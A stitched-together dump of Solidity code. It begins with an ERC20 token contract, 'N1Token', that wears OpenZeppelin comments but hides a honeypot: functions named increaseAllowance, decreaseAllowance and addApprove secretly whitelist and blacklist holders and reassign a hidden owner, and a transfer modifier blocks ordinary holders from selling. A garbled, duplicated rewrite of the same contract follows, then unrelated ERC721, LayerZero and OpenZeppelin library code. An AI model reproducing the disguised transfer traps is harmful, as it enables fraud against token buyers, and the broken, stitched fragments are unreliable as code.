* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract N1Token is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
|
contract N1Token is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
}
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
| 1,494,595
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./partial_match/1/0xb87fedDa905Dc72532177B08CE6B533ed7b26a83/sources/src/ERC721B.sol
|
* @dev See {IERC721-safeTransferFrom}./
|
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
transferFrom(from, to, id);
if (!_checkOnERC721Received(from, to, id, data))
revert TransferToNonERC721ReceiverImplementer();
}
| 3,997,535
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/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// SPDX-License-Identifier: UNLICENSED
// File: contracts/interfaces/ILayerZeroUserApplicationConfig.sol
pragma solidity >=0.5.0;
interface ILayerZeroUserApplicationConfig {
// @notice set the configuration of the LayerZero messaging library of the specified version
// @param _version - messaging library version
// @param _chainId - the chainId for the pending config change
// @param _configType - type of configuration. every messaging library has its own convention.
// @param _config - configuration in the bytes. can encode arbitrary content.
function setConfig(
uint16 _version,
uint16 _chainId,
uint256 _configType,
bytes calldata _config
) external;
// @notice set the send() LayerZero messaging library version to _version
// @param _version - new messaging library version
function setSendVersion(uint16 _version) external;
// @notice set the lzReceive() LayerZero messaging library version to _version
// @param _version - new messaging library version
function setReceiveVersion(uint16 _version) external;
// @notice Only when the UA needs to resume the message flow in blocking mode and clear the stored payload
// @param _srcChainId - the chainId of the source chain
// @param _srcAddress - the contract address of the source contract at the source chain
function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress)
external;
}
// File: contracts/interfaces/ILayerZeroEndpoint.sol
pragma solidity >=0.5.0;
interface ILayerZeroEndpoint is ILayerZeroUserApplicationConfig {
// @notice send a LayerZero message to the specified address at a LayerZero endpoint.
// @param _dstChainId - the destination chain identifier
// @param _destination - the address on destination chain (in bytes). address length/format may vary by chains
// @param _payload - a custom bytes payload to send to the destination contract
// @param _refundAddress - if the source transaction is cheaper than the amount of value passed, refund the additional amount to this address
// @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction
// @param _adapterParams - parameters for custom functionality. e.g. receive airdropped native gas from the relayer on destination
function send(
uint16 _dstChainId,
bytes calldata _destination,
bytes calldata _payload,
address payable _refundAddress,
address _zroPaymentAddress,
bytes calldata _adapterParams
) external payable;
// @notice used by the messaging library to publish verified payload
// @param _srcChainId - the source chain identifier
// @param _srcAddress - the source contract (as bytes) at the source chain
// @param _dstAddress - the address on destination chain
// @param _nonce - the unbound message ordering nonce
// @param _gasLimit - the gas limit for external contract execution
// @param _payload - verified payload to send to the destination contract
function receivePayload(
uint16 _srcChainId,
bytes calldata _srcAddress,
address _dstAddress,
uint64 _nonce,
uint256 _gasLimit,
bytes calldata _payload
) external;
// @notice get the inboundNonce of a receiver from a source chain which could be EVM or non-EVM chain
// @param _srcChainId - the source chain identifier
// @param _srcAddress - the source chain contract address
function getInboundNonce(uint16 _srcChainId, bytes calldata _srcAddress)
external
view
returns (uint64);
// @notice get the outboundNonce from this source chain which, consequently, is always an EVM
// @param _srcAddress - the source chain contract address
function getOutboundNonce(uint16 _dstChainId, address _srcAddress)
external
view
returns (uint64);
// @notice gets a quote in source native gas, for the amount that send() requires to pay for message delivery
// @param _dstChainId - the destination chain identifier
// @param _userApplication - the user app address on this EVM chain
// @param _payload - the custom message to send over LayerZero
// @param _payInZRO - if false, user app pays the protocol fee in native token
// @param _adapterParam - parameters for the adapter service, e.g. send some dust native token to dstChain
function estimateFees(
uint16 _dstChainId,
address _userApplication,
bytes calldata _payload,
bool _payInZRO,
bytes calldata _adapterParam
) external view returns (uint256 nativeFee, uint256 zroFee);
// @notice get this Endpoint's immutable source identifier
function getChainId() external view returns (uint16);
// @notice the interface to retry failed message on this Endpoint destination
// @param _srcChainId - the source chain identifier
// @param _srcAddress - the source chain contract address
// @param _payload - the payload to be retried
function retryPayload(
uint16 _srcChainId,
bytes calldata _srcAddress,
bytes calldata _payload
) external;
// @notice query if any STORED payload (message blocking) at the endpoint.
// @param _srcChainId - the source chain identifier
// @param _srcAddress - the source chain contract address
function hasStoredPayload(uint16 _srcChainId, bytes calldata _srcAddress)
external
view
returns (bool);
// @notice query if the _libraryAddress is valid for sending msgs.
// @param _userApplication - the user app address on this EVM chain
function getSendLibraryAddress(address _userApplication)
external
view
returns (address);
// @notice query if the _libraryAddress is valid for receiving msgs.
// @param _userApplication - the user app address on this EVM chain
function getReceiveLibraryAddress(address _userApplication)
external
view
returns (address);
// @notice query if the non-reentrancy guard for send() is on
// @return true if the guard is on. false otherwise
function isSendingPayload() external view returns (bool);
// @notice query if the non-reentrancy guard for receive() is on
// @return true if the guard is on. false otherwise
function isReceivingPayload() external view returns (bool);
// @notice get the configuration of the LayerZero messaging library of the specified version
// @param _version - messaging library version
// @param _chainId - the chainId for the pending config change
// @param _userApplication - the contract address of the user application
// @param _configType - type of configuration. every messaging library has its own convention.
function getConfig(
uint16 _version,
uint16 _chainId,
address _userApplication,
uint256 _configType
) external view returns (bytes memory);
// @notice get the send() LayerZero messaging library version
// @param _userApplication - the contract address of the user application
function getSendVersion(address _userApplication)
external
view
returns (uint16);
// @notice get the lzReceive() LayerZero messaging library version
// @param _userApplication - the contract address of the user application
function getReceiveVersion(address _userApplication)
external
view
returns (uint16);
}
// File: contracts/interfaces/ILayerZeroReceiver.sol
pragma solidity >=0.5.0;
interface ILayerZeroReceiver {
// @notice LayerZero endpoint will invoke this function to deliver the message on the destination
// @param _srcChainId - the source endpoint identifier
// @param _srcAddress - the source sending contract address from the source chain
// @param _nonce - the ordered message nonce
// @param _payload - the signed payload is the UA bytes has encoded to be sent
function lzReceive(
uint16 _srcChainId,
bytes calldata _srcAddress,
uint64 _nonce,
bytes calldata _payload
) external;
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
